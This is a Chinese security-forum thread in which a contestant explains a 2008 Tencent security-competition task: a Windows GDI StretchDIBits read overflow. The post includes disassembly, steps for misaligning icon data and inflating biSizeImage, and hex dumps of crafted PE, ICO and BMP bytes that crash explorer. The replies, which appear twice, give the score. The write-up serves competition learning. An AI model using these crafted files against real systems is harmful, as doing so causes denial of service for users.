[原创]第一阶段第四题-4)腾讯公司2008软件安全竞赛-看雪-安全社区|安全招聘|kanxue.com

[原创]第一阶段第四题

发表于: 2008-10-12 01:15 3693

[原创]第一阶段第四题

likunkun

2008-10-12 01:15

3693

分析：
1.思路应该是explorer在解析PE的图标时发生崩溃，函数为StretchDIBits，这个函数是把DIB位图复制到

显示设备上，不过有两个参数要注意就是：
  CONST VOID* lpBits
  CONST BITMAPINFO* lpBitsInfo
它要解析位图结构对象，得到信息然后复制。

2.首先他先得到的位图大小：
77F1B0F6 56             push esi
77F1B0F7 E8 CD1F0200    call GdiGetBitmapBitsSize

3.这里BUG的要害在于函数复制之前：
77F1B105 F645 2C 03    test byte ptr [ebp+2C], 3
77F1B109 89B8 D0060000 mov    dword ptr [eax+6D0], edi
77F1B10F 0F85 1F190100 jnz    77F2CA34

4.就是判断lpBits的地址有没有对齐。如果lpBits没有对齐就另申请一部分的空间根据位图的大小把位图

数据copy过去：
77F2CA34 64:A1 18000000  mov    eax, dword ptr fs:[18]
77F2CA3A FF75 D4       push dword ptr [ebp-2C]
77F2CA3D 8B40 30       mov    eax, dword ptr [eax+30]
77F2CA40 57             push edi
77F2CA41 FF70 18       push dword ptr [eax+18]
77F2CA44 FF15 A811F177 call dword ptr [<&ntdll.RtlAllocateHe>; ntdll.RtlAllocateHeap
77F2CA4A 3BC7          cmp    eax, edi
77F2CA4C 8945 C4       mov    dword ptr [ebp-3C], eax
77F2CA4F  ^ 0F84 C0E6FEFF je    77F1B115
77F2CA55 8B4D D4       mov    ecx, dword ptr [ebp-2C]
77F2CA58 8B75 2C       mov    esi, dword ptr [ebp+2C]
77F2CA5B 8BD1          mov    edx, ecx
77F2CA5D C1E9 02       shr    ecx, 2
77F2CA60 8BF8          mov    edi, eax
77F2CA62 F3:A5          rep    movs dword ptr es:[edi], dword p>
77F2CA64 8BCA          mov    ecx, edx
77F2CA66 83E1 03       and    ecx, 3
77F2CA69 F3:A4          rep    movs byte ptr es:[edi], byte ptr>
77F2CA6B 8B75 F0       mov    esi, dword ptr [ebp-10]
77F2CA6E 8945 2C       mov    dword ptr [ebp+2C], eax
77F2CA71 33FF          xor    edi, edi

5.但是这里并没有检查源位图的真实区域的可读写大小。如果我们GdiGetBitmapBitsSize计算出来的大小

有足够大的话这里就会发生数据读取异常。

6.但是怎么保证lpBits的地址不是对齐的呢？尝试了12个小时终于出来了。就是修改图标的RVA使它的RVA

为不是对齐的(向前移一个字节即可)。然后把数据一一前移一下。

7.还有一个问题是位图数据大小如何控制，在BITMAPINFOHEADER有一个压缩成员biCompression，把它设

为1或2都可以(代表压缩)，但是经过分析对应的还的改动象素位数
biCompression 1 biBitCount 8
biCompression 2 biBitCount 4

77F19B49 6A 03          push 3
77F19B4B 59             pop    ecx
77F19B4C 3BC1          cmp    eax, ecx                      ; eax compress
77F19B4E  ^ 0F84 81F2FFFF je    77F18DD5
77F19B54 85C0          test eax, eax
77F19B56 0F85 FF1F0000 jnz    77F1BB5B

77F1BB5B 83F8 0A       cmp    eax, 0A       ; eax compress
77F1BB5E 0F84 33C70100 je    77F38297
77F1BB64 83F8 02       cmp    eax, 2
77F1BB67 74 5F          je    short 77F1BBC8
77F1BB69 83F8 0C       cmp    eax, 0C
77F1BB6C 74 5A          je    short 77F1BBC8
77F1BB6E 83F8 01       cmp    eax, 1
77F1BB71 0F85 52C70100 jnz    77F382C9

在StretchDIBits里都是有判断的。

8.如果说BMP文件压缩成员biCompression有效的话，GdiGetBitmapBitsSize返回的是biSizeImage成员。

GdiGetBitmapBitsSize:
77F3D0FE 8B41 10       mov    eax, dword ptr [ecx+10]
77F3D101 85C0          test eax, eax
77F3D103 74 0F          je    short 77F3D114
77F3D105 83F8 03       cmp    eax, 3
77F3D108 74 0A          je    short 77F3D114
77F3D10A 83F8 0A       cmp    eax, 0A
77F3D10D 74 05          je    short 77F3D114
77F3D10F 8B41 14       mov    eax, dword ptr [ecx+14];这个就是biImageSize
77F3D112 EB 29          jmp    short 77F3D13D
77F3D114 8B41 08       mov    eax, dword ptr [ecx+8]
77F3D117 85C0          test eax, eax
77F3D119 7D 02          jge    short 77F3D11D
77F3D11B F7D8          neg    eax
77F3D11D 0FB751 0C    movzx edx, word ptr [ecx+C]
77F3D121 8BF0          mov    esi, eax
77F3D123 0FB741 0E    movzx eax, word ptr [ecx+E]
77F3D127 0FAFC2       imul eax, edx
77F3D12A 0FAF41 04    imul eax, dword ptr [ecx+4]
77F3D12E 83C0 1F       add    eax, 1F
77F3D131 83E0 E0       and    eax, FFFFFFE0
77F3D134 99             cdq
77F3D135 6A 08          push 8
77F3D137 59             pop    ecx
77F3D138 F7F9          idiv ecx
77F3D13A 0FAFC6       imul eax, esi
77F3D13D 5E             pop    esi
77F3D13E 5D             pop    ebp
77F3D13F C2 0400       retn 4

所以说我们把BMP改成压缩文件并把biSizeImage改的超大即可@_@

PE:
RES ICON RVA: 0004FA80 -> 0004FA7F
Offset    0  1  2  3  4  5  6  7 8  9  A  B  C  D  E  F

0004BA80 28 00 00 00 20 00 00 00  40 00 00 00 01 00 04 00 (... ...@.......
0004BA90 00 00 00 00 00 02 00 00  00 00 00 00 00 00 00 00 ................
0004BAA0 00 00 00 00 00 00 00 00  00 00 00 00 00 00 80 00 ..............€.
0004BAB0 00 80 00 00 00 80 80 00  80 00 00 00 80 00 80 00 .€...€€.€...€.€.
0004BAC0 80 80 00 00 C0 C0 C0 00  80 80 80 00 00 00 FF 00 €€..ÀÀÀ.€€€...ÿ.
0004BAD0 00 FF 00 00 00 FF FF 00  FF 00 00 00 FF 00 FF 00 .ÿ...ÿÿ.ÿ...ÿ.ÿ.
0004BAE0 FF FF 00 00 FF FF FF 00  FF FF FF FF FF FF FF FF ÿÿ..ÿÿÿ.ÿÿÿÿÿÿÿÿ

Offset    0  1  2  3  4  5  6  7 8  9  A  B  C  D  E  F

0004BA70 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 28 ...............(
0004BA80 00 00 00 20 00 00 00 40  00 00 00 01 00 08 00 01 ... ...@........
0004BA90 00 00 00 00 FF 00 00 00  00 00 00 00 00 00 00 00 ....ÿ...........
0004BAA0 00 00 00 00 00 00 00 00  00 00 00 00 00 80 00 00 .............€..
0004BAB0 80 00 00 00 80 80 00 80  00 00 00 80 00 80 00 80 €...€€.€...€.€.€

OK!

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)

#第一阶段◇第四题

上传的附件：

Release.rar （142.70kb，21次下载）

收藏・1

免费・0

支持

最新回复 (6)
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 2 楼这个漏洞可以利用于BMP文件中，只要让lpBits的值为不对齐即可。 typedef struct tagBITMAPFILEHEADER { WORD bfType; DWORD bfSize; WORD bfReserved1; WORD bfReserved2; DWORD bfOffBits; } BITMAPFILEHEADER; 中bfOffBits表示的是数据偏移，即lpBits所指向的数据，怎么保证让lpBits的数据不对齐呢？制作两个BMP文件，让其bfOffBits成员相差为1。然后让调用程序用StretchDIBits 显示。然后将BITMAPINFOHEADER中的biCompression改为1，biBitCount改为8，biSizeImage改的足够大。就可以拒绝服务了。例子中在VC6下DEBUG是正常程序，在BIN目录中的有修改后的bitmap文件和程序。上传的附件： add.rar （74.38kb，13次下载） 2008-10-12 16:35 0
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 3 楼可以直接作成图标文件。有两种图标格式： 1.Windows标准的BITMAPINFOHEADER 2.兼容OS/2的，BITMAPCOREHEADER BITMAPINFOHEADER的大小为0x28 BITMAPCOREHEADER的大小为0xC 当explorer读取图标会用LoadImageW, 7E41FA59 57 push edi 7E41FA5A FF75 1C push dword ptr [ebp+1C] 7E41FA5D 50 push eax 7E41FA5E 0FB7C6 movzx eax, si 7E41FA61 50 push eax 7E41FA62 6A 01 push 1 7E41FA64 FF75 08 push dword ptr [ebp+8] 7E41FA67 6A 00 push 0 7E41FA69 E8 29810000 call LoadImageW LoadImageW这个函数里会调用文件映射函数将图标映射到内存中，并解析ICON文件找类似位图的数据。 7E41EEE8 53 push ebx 7E41EEE9 6A 03 push 3 7E41EEEB 53 push ebx 7E41EEEC 6A 01 push 1 7E41EEEE 68 00000080 push 80000000 7E41EEF3 8D85 DCFDFFFF lea eax, dword ptr [ebp-224] 7E41EEF9 50 push eax 7E41EEFA FF15 4C13417E call dword ptr [<&KERNEL32.CreateFile>; kernel32.CreateFileW 7E41EF00 8BF0 mov esi, eax 7E41EF02 89B5 B0FBFFFF mov dword ptr [ebp-450], esi 7E41EF08 83FE FF cmp esi, -1 7E41EF0B 0F84 84000000 je 7E41EF95 7E41EF11 53 push ebx 7E41EF12 53 push ebx 7E41EF13 53 push ebx 7E41EF14 6A 02 push 2 7E41EF16 53 push ebx 7E41EF17 56 push esi 7E41EF18 FF15 5812417E call dword ptr [<&KERNEL32.CreateFile>; kernel32.CreateFileMappingW 7E41EF1E 8985 B8FBFFFF mov dword ptr [ebp-448], eax 7E41EF24 3BC3 cmp eax, ebx 7E41EF26 0F84 06130000 je 7E420232 7E41EF2C 53 push ebx 7E41EF2D 53 push ebx 7E41EF2E 53 push ebx 7E41EF2F 6A 04 push 4 7E41EF31 50 push eax 7E41EF32 FF15 5412417E call dword ptr [<&KERNEL32.MapViewOfF>; kernel32.MapViewOfFile 用HeapAlloc申请内存把图象数据复制过来： 7E41FB7F 0FB7C0 movzx eax, ax 7E41FB82 6BC0 0E imul eax, eax, 0E 7E41FB85 83C0 06 add eax, 6 7E41FB88 50 push eax 7E41FB89 56 push esi 7E41FB8A FF35 2412477E push dword ptr [7E471224] 7E41FB90 FF15 A013417E call dword ptr [<&KERNEL32.HeapAlloc>>; ntdll.RtlAllocateHeap 由于调色板也是对齐的而这里的HeapAlloc是对齐的，这样的话如果说用BITMAPINFOHEADER后面的数据还是对齐的，但是如果用BITMAPCOREHEADER由于这个结构大小不是对齐的，那么会导致后面的数据不是对齐的了。这样的话在StretchDIBits函数中 77F1B105 F645 2C 03 test byte ptr [ebp+2C], 3 77F1B109 89B8 D0060000 mov dword ptr [eax+6D0], edi 77F1B10F 0F85 1F190100 jnz 77F2CA34 就会转入申请内存的流程中。这样的话如果计算出来的数据大小大大超过实际的话也会发生读取异常。这里修改了一个 Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 00 00 01 00 02 00 20 20 10 00 00 00 00 00 E8 02 ...... ......è. 00000010 00 00 24 00 00 00 10 10 10 00 00 00 00 00 28 01 ..$...........(. 00000020 00 00 0E 03 0C 00 00 00 00 7F 00 70 01 00 01 00 ..........p.... 00000030 00 01 00 04 00 01 00 00 00 FF FF FF 00 00 00 00 .........ÿÿÿ.... 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 ....€..€...€€.€. 00000060 00 00 80 00 80 00 80 80 00 00 C0 C0 C0 00 80 80 ..€.€.€€..ÀÀÀ.€€ 00000070 80 00 00 00 FF 00 00 FF 00 00 00 FF FF 00 FF 00 €...ÿ..ÿ...ÿÿ.ÿ. 00000080 00 00 FF 00 FF 00 FF FF 00 00 FF FF FF 00 FF FF ..ÿ.ÿ.ÿÿ..ÿÿÿ.ÿÿ 00000090 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 那么就像浏览PE文件一样，只要用explorer浏览这个文件就会崩溃。上传的附件： icofile.rar （0.47kb，17次下载） 2008-10-13 23:24 0
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 4 楼将楼上制作的ICO文件导入PE中由于原理一样，lpBits的地址为不齐。即也可构造PE文件使explorer浏览它时崩溃。上传的附件： MFCSignle.rar （142.70kb，12次下载） 2008-10-14 00:53 0
Aker 雪币： 2134 活跃值： (14) 能力值： (RANK：170 ) 在线值：发帖 50 回帖 773 粉丝 3 关注私信	Aker 4 5 楼结果提交时间 13 小时 15 分钟结果提交时间长度 = 795 分钟结果提交次数 = 1 结果提交为可以利用的BUG地点,并构造出PE文件得分 = [(4320 - 795)/4320]^1/10 x 1.0 x 100 - (1 -1 ) x 5 = 97.99 其他利用方法+10分总分为:107.99 2008-11-13 13:36 0
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 6 楼 excel里我的成绩是97.99 没有附加分 2008-11-13 20:10 0
Aker 雪币： 2134 活跃值： (14) 能力值： (RANK：170 ) 在线值：发帖 50 回帖 773 粉丝 3 关注私信	Aker 4 7 楼 okay，登错了，明天改 2008-11-16 23:00 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

likunkun

发帖

283

回帖

RANK

关注

私信

他的文章

[原创]北京科锐同学第一次聚会 15451
第一题答案 3370
[推荐]精通.NET互操作:P/Invoke,C++ Interop和COM Interop 4550
[讨论]VS2005反汇编的疑问 4255
[原创]VS2005与windbg反汇编的BUG 9105

关于我们

联系我们

企业服务

看雪公众号

最新回复 (6)
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 2 楼这个漏洞可以利用于BMP文件中，只要让lpBits的值为不对齐即可。 typedef struct tagBITMAPFILEHEADER { WORD bfType; DWORD bfSize; WORD bfReserved1; WORD bfReserved2; DWORD bfOffBits; } BITMAPFILEHEADER; 中bfOffBits表示的是数据偏移，即lpBits所指向的数据，怎么保证让lpBits的数据不对齐呢？制作两个BMP文件，让其bfOffBits成员相差为1。然后让调用程序用StretchDIBits 显示。然后将BITMAPINFOHEADER中的biCompression改为1，biBitCount改为8，biSizeImage改的足够大。就可以拒绝服务了。例子中在VC6下DEBUG是正常程序，在BIN目录中的有修改后的bitmap文件和程序。上传的附件： add.rar （74.38kb，13次下载） 2008-10-12 16:35 0
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 3 楼可以直接作成图标文件。有两种图标格式： 1.Windows标准的BITMAPINFOHEADER 2.兼容OS/2的，BITMAPCOREHEADER BITMAPINFOHEADER的大小为0x28 BITMAPCOREHEADER的大小为0xC 当explorer读取图标会用LoadImageW, 7E41FA59 57 push edi 7E41FA5A FF75 1C push dword ptr [ebp+1C] 7E41FA5D 50 push eax 7E41FA5E 0FB7C6 movzx eax, si 7E41FA61 50 push eax 7E41FA62 6A 01 push 1 7E41FA64 FF75 08 push dword ptr [ebp+8] 7E41FA67 6A 00 push 0 7E41FA69 E8 29810000 call LoadImageW LoadImageW这个函数里会调用文件映射函数将图标映射到内存中，并解析ICON文件找类似位图的数据。 7E41EEE8 53 push ebx 7E41EEE9 6A 03 push 3 7E41EEEB 53 push ebx 7E41EEEC 6A 01 push 1 7E41EEEE 68 00000080 push 80000000 7E41EEF3 8D85 DCFDFFFF lea eax, dword ptr [ebp-224] 7E41EEF9 50 push eax 7E41EEFA FF15 4C13417E call dword ptr [<&KERNEL32.CreateFile>; kernel32.CreateFileW 7E41EF00 8BF0 mov esi, eax 7E41EF02 89B5 B0FBFFFF mov dword ptr [ebp-450], esi 7E41EF08 83FE FF cmp esi, -1 7E41EF0B 0F84 84000000 je 7E41EF95 7E41EF11 53 push ebx 7E41EF12 53 push ebx 7E41EF13 53 push ebx 7E41EF14 6A 02 push 2 7E41EF16 53 push ebx 7E41EF17 56 push esi 7E41EF18 FF15 5812417E call dword ptr [<&KERNEL32.CreateFile>; kernel32.CreateFileMappingW 7E41EF1E 8985 B8FBFFFF mov dword ptr [ebp-448], eax 7E41EF24 3BC3 cmp eax, ebx 7E41EF26 0F84 06130000 je 7E420232 7E41EF2C 53 push ebx 7E41EF2D 53 push ebx 7E41EF2E 53 push ebx 7E41EF2F 6A 04 push 4 7E41EF31 50 push eax 7E41EF32 FF15 5412417E call dword ptr [<&KERNEL32.MapViewOfF>; kernel32.MapViewOfFile 用HeapAlloc申请内存把图象数据复制过来： 7E41FB7F 0FB7C0 movzx eax, ax 7E41FB82 6BC0 0E imul eax, eax, 0E 7E41FB85 83C0 06 add eax, 6 7E41FB88 50 push eax 7E41FB89 56 push esi 7E41FB8A FF35 2412477E push dword ptr [7E471224] 7E41FB90 FF15 A013417E call dword ptr [<&KERNEL32.HeapAlloc>>; ntdll.RtlAllocateHeap 由于调色板也是对齐的而这里的HeapAlloc是对齐的，这样的话如果说用BITMAPINFOHEADER后面的数据还是对齐的，但是如果用BITMAPCOREHEADER由于这个结构大小不是对齐的，那么会导致后面的数据不是对齐的了。这样的话在StretchDIBits函数中 77F1B105 F645 2C 03 test byte ptr [ebp+2C], 3 77F1B109 89B8 D0060000 mov dword ptr [eax+6D0], edi 77F1B10F 0F85 1F190100 jnz 77F2CA34 就会转入申请内存的流程中。这样的话如果计算出来的数据大小大大超过实际的话也会发生读取异常。这里修改了一个 Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 00 00 01 00 02 00 20 20 10 00 00 00 00 00 E8 02 ...... ......è. 00000010 00 00 24 00 00 00 10 10 10 00 00 00 00 00 28 01 ..$...........(. 00000020 00 00 0E 03 0C 00 00 00 00 7F 00 70 01 00 01 00 ..........p.... 00000030 00 01 00 04 00 01 00 00 00 FF FF FF 00 00 00 00 .........ÿÿÿ.... 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 ....€..€...€€.€. 00000060 00 00 80 00 80 00 80 80 00 00 C0 C0 C0 00 80 80 ..€.€.€€..ÀÀÀ.€€ 00000070 80 00 00 00 FF 00 00 FF 00 00 00 FF FF 00 FF 00 €...ÿ..ÿ...ÿÿ.ÿ. 00000080 00 00 FF 00 FF 00 FF FF 00 00 FF FF FF 00 FF FF ..ÿ.ÿ.ÿÿ..ÿÿÿ.ÿÿ 00000090 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 那么就像浏览PE文件一样，只要用explorer浏览这个文件就会崩溃。上传的附件： icofile.rar （0.47kb，17次下载） 2008-10-13 23:24 0
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 4 楼将楼上制作的ICO文件导入PE中由于原理一样，lpBits的地址为不齐。即也可构造PE文件使explorer浏览它时崩溃。上传的附件： MFCSignle.rar （142.70kb，12次下载） 2008-10-14 00:53 0
Aker 雪币： 2134 活跃值： (14) 能力值： (RANK：170 ) 在线值：发帖 50 回帖 773 粉丝 3 关注私信	Aker 4 5 楼结果提交时间 13 小时 15 分钟结果提交时间长度 = 795 分钟结果提交次数 = 1 结果提交为可以利用的BUG地点,并构造出PE文件得分 = [(4320 - 795)/4320]^1/10 x 1.0 x 100 - (1 -1 ) x 5 = 97.99 其他利用方法+10分总分为:107.99 2008-11-13 13:36 0
likunkun 雪币： 334 活跃值： (22) 能力值： ( LV4，RANK：50 ) 在线值：发帖 18 回帖 283 粉丝 1 关注私信	likunkun 1 6 楼 excel里我的成绩是97.99 没有附加分 2008-11-13 20:10 0
Aker 雪币： 2134 活跃值： (14) 能力值： (RANK：170 ) 在线值：发帖 50 回帖 773 粉丝 3 关注私信	Aker 4 7 楼 okay，登错了，明天改 2008-11-16 23:00 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复